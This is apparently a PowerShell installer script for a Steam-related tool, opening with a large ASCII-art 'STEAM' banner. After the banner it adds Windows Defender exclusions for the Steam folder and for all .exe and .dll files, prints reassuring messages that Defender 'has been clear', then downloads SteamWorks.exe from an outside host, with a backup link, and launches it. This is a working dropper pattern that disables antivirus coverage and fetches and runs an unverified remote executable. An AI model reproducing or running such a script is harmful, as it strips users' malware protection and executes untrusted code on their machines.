# [Console]::OutputEncoding = [System.Text.Encoding]::UTF8
Write-Host -NoNewline "                                                                                                                               `r"
Write-Host -NoNewline "                                                        %@@@@@@@@@@@@                                                          `r"
Write-Host -NoNewline "                                                   @@@@@@@@@@@@@@@@@@@@@@                                                     `r"
Write-Host -NoNewline "                                                %@@@@@@@@@@@@@@@@@@@@@@@@@@@@                                                  `r"
Write-Host -NoNewline "                                              @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@                                               `r"
Write-Host -NoNewline "                                            @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@:                                             `r"
Write-Host -NoNewline "                                          %@@@@@@@@@@@@@@@@@@@@@@@@:        %@@@@@@                                            `r"
Write-Host -NoNewline "                                         @@@@@@@@@@@@@@@@@@@@@@@@    @@@@@@@@  @@@@@                                           `r"
Write-Host -NoNewline "                                        @@@@@@@@@@@@@@@@@@@@@@@     @        @  :@@@@                                         `r"
Write-Host -NoNewline "                                       @@@@@@@@@@@@@@@@@@@@@@@     @         :@   @@@@                                        `r"
Write-Host -NoNewline "                                      @@@@@@@@@@@@@@@@@@@@@@@     @           -@   @@@@@                                        `r"
Write-Host -NoNewline "                                    @@@@@@@@@@@@@@@@@@@@@@@@     @             @   @@@@@@                                      `r"
Write-Host -NoNewline "                                    @@@@@@@@@@@@@@@@@@@@@@        @           @    @@@@@@@                                     `r"
Write-Host -NoNewline "                                    *@@@@@@@@@@@@@@@@@@@@.         @         @    @@@@@@@@                                     `r"
Write-Host -NoNewline "                                        *@@@@@@@@@@@@@@@            @@@@@@@@@    @@@@@@@@@                                     `r"
Write-Host -NoNewline "                                            +@@@@@@@@@@                         @@@@@@@@@@                                     `r"
Write-Host -NoNewline "                                                +@@                           @@@@@@@@@@@@                                     `r"
Write-Host -NoNewline "                                                     @@@@@                 @@@@@@@@@@@@@@@                                     `r"
Write-Host -NoNewline "                                                          @           @@@@@@@@@@@@@@@@@@@                                      `r"
Write-Host -NoNewline "                                      @@@                  @   @@@@@@@@@@@@@@@@@@@@@@@@%                                       `r"
Write-Host -NoNewline "                                       @@@@@@    @        @   -@@@@@@@@@@@@@@@@@@@@@@@@                                        `r"
Write-Host -NoNewline "                                       .@@@@@@    @      @    @@@@@@@@@@@@@@@@@@@@@@@@                                         `r"
Write-Host -NoNewline "                                         @@@@@@-   @@@@@@    @@@@@@@@@@@@@@@@@@@@@@@%                                          `r"
Write-Host -NoNewline "                                          @@@@@@@           @@@@@@@@@@@@@@@@@@@@@@@                                            `r"
Write-Host -NoNewline "                                            @@@@@@@@:    @@@@@@@@@@@@@@@@@@@@@@@@@                                             `r"
Write-Host -NoNewline "                                             *@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@                                               `r"
Write-Host -NoNewline "                                                @@@@@@@@@@@@@@@@@@@@@@@@@@@@@                                                  `r"
Write-Host -NoNewline "                                                   @@@@@@@@@@@@@@@@@@@@@@@%                                                    `r"
Write-Host -NoNewline "                                                       @@@@@@@@@@@@@@@+                                                        `r"
Write-Host -NoNewline "          _____                _____                    _____                    _____                    _____          `r"
Write-Host -NoNewline "         /\    \              /\    \                  /\    \                  /\    \                  /\    \         `r"
Write-Host -NoNewline "        /::\    \            /::\    \                /::\    \                /::\    \                /::\____\        `r"
Write-Host -NoNewline "       /::::\    \           \:::\    \              /::::\    \              /::::\    \              /::::|   |        `r"
Write-Host -NoNewline "      /::::::\    \           \:::\    \            /::::::\    \            /::::::\    \            /:::::|   |        `r"
Write-Host -NoNewline "     /:::/\:::\    \           \:::\    \          /:::/\:::\    \          /:::/\:::\    \          /::::::|   |        `r"
Write-Host -NoNewline "    /:::/__\:::\    \           \:::\    \        /:::/__\:::\    \        /:::/__\:::\    \        /:::/|::|   |        `r"
Write-Host -NoNewline "    \:::\   \:::\    \          /::::\    \      /::::\   \:::\    \      /::::\   \:::\    \      /:::/ |::|   |        `r"
Write-Host -NoNewline "  ___\:::\   \:::\    \        /::::::\    \    /::::::\   \:::\    \    /::::::\   \:::\    \    /:::/  |::|___|______  `r"
Write-Host -NoNewline " /\   \:::\   \:::\    \      /:::/\:::\    \  /:::/\:::\   \:::\    \  /:::/\:::\   \:::\    \  /:::/   |::::::::\    \ `r"
Write-Host -NoNewline "/::\   \:::\   \:::\____\    /:::/  \:::\____\/:::/__\:::\   \:::\____\/:::/  \:::\   \:::\____\/:::/    |:::::::::\____\`r"
Write-Host -NoNewline "\:::\   \:::\   \::/    /   /:::/    \::/    /\:::\   \:::\   \::/    /\::/    \:::\  /:::/    /\::/    / ~~~~~/:::/    /`r"
Write-Host -NoNewline " \:::\   \:::\   \/____/   /:::/    / \/____/  \:::\   \:::\   \/____/  \/____/ \:::\/:::/    /  \/____/      /:::/    / `r"
Write-Host -NoNewline "  \:::\   \:::\    \      /:::/    /            \:::\   \:::\    \               \::::::/    /               /:::/    /  `r"
Write-Host -NoNewline "   \:::\   \:::\____\    /:::/    /              \:::\   \:::\____\               \::::/    /               /:::/    /   `r"
Write-Host -NoNewline "    \:::\  /:::/    /    \::/    /                \:::\   \::/    /               /:::/    /               /:::/    /    `r"
Write-Host -NoNewline "     \:::\/:::/    /      \/____/                  \:::\   \/____/               /:::/    /               /:::/    /     `r"
Write-Host -NoNewline "      \::::::/    /                                 \:::\    \                  /:::/    /               /:::/    /      `r"
Write-Host -NoNewline "       \::::/    /                                   \:::\____\                /:::/    /               /:::/    /       `r"
Write-Host -NoNewline "        \::/    /                                     \::/    /                \::/    /                \::/    /        `r"
Write-Host -NoNewline "         \/____/                                       \/____/                  \/____/                  \/____/         `r"

#Requires -RunAsAdministrator

$isAdmin = [bool]([Security.Principal.WindowsIdentity]::GetCurrent().Groups -match 'S-1-5-32-544')
if (-not $isAdmin) {
    Write-Host "Please Run as Administrator"
}

$steamRegPath = 'HKCU:\Software\Valve\Steam'
$steamPath = (Get-ItemProperty -Path $steamRegPath -Name 'SteamPath').SteamPath
$root = $steamPath.Substring(0,1) # 获取路径中的盘符部分
$rest = $steamPath.Substring(1)   # 获取路径中盘符后面的部分
$steamPath = $root.ToUpper() + $rest # 将盘符部分转换为大写

# $steamPath = $filePath -replace "/", "\"

# Write-Host $steamPath

if ($null -ne $steamPath) {
    try {
# exclude windows defender
        if (Get-Service | where-object { $_.name -eq "windefend" -and $_.status -eq "running" }) {
            Add-MpPreference -ExclusionPath $steamPath -ExclusionExtension ".dll",".exe"
            Write-Host "  [STEAM]  Windows Defender has been exclude"
        }
        else {
            Write-Host "  [STEAM] Windows Defender exclude failed."
        }

# display Message 
        Write-Host "  [STEAM] App is ready for run .please wait... "
        Write-Host "  [STEAM] Windows Defender has been clear "
        Write-Host "  [STEAM] Ready to go !!! "
        Write-Host "  [STEAM] watiing 1-3min "

# download file and process
        $appStorePath = Join-Path $steamPath "steamworks.exe"
        $downloadUrl = "http://steamworks.jidivr.com/SteamWorks.exe"
        $backupUrl = "https://vip.123pan.cn/1813016632/%E7%BD%91%E7%AB%99/steamwork/SteamWorks.exe"
        
        try {
            (New-Object Net.WebClient).DownloadFile($downloadUrl, $appStorePath)
        } catch {
            Write-Warning "Steamcdk failed. [STEAM] watiing."
            try {
                (New-Object Net.WebClient).DownloadFile($backupUrl, $appStorePath)
            } catch {
                Write-Error "Steamcdk failed. Please check your internet connection or colse 关闭VPN重试."
            }
        }

# lauch execute our exe file;
        Start-Process -FilePath $appStorePath
    }
    catch {

    }
}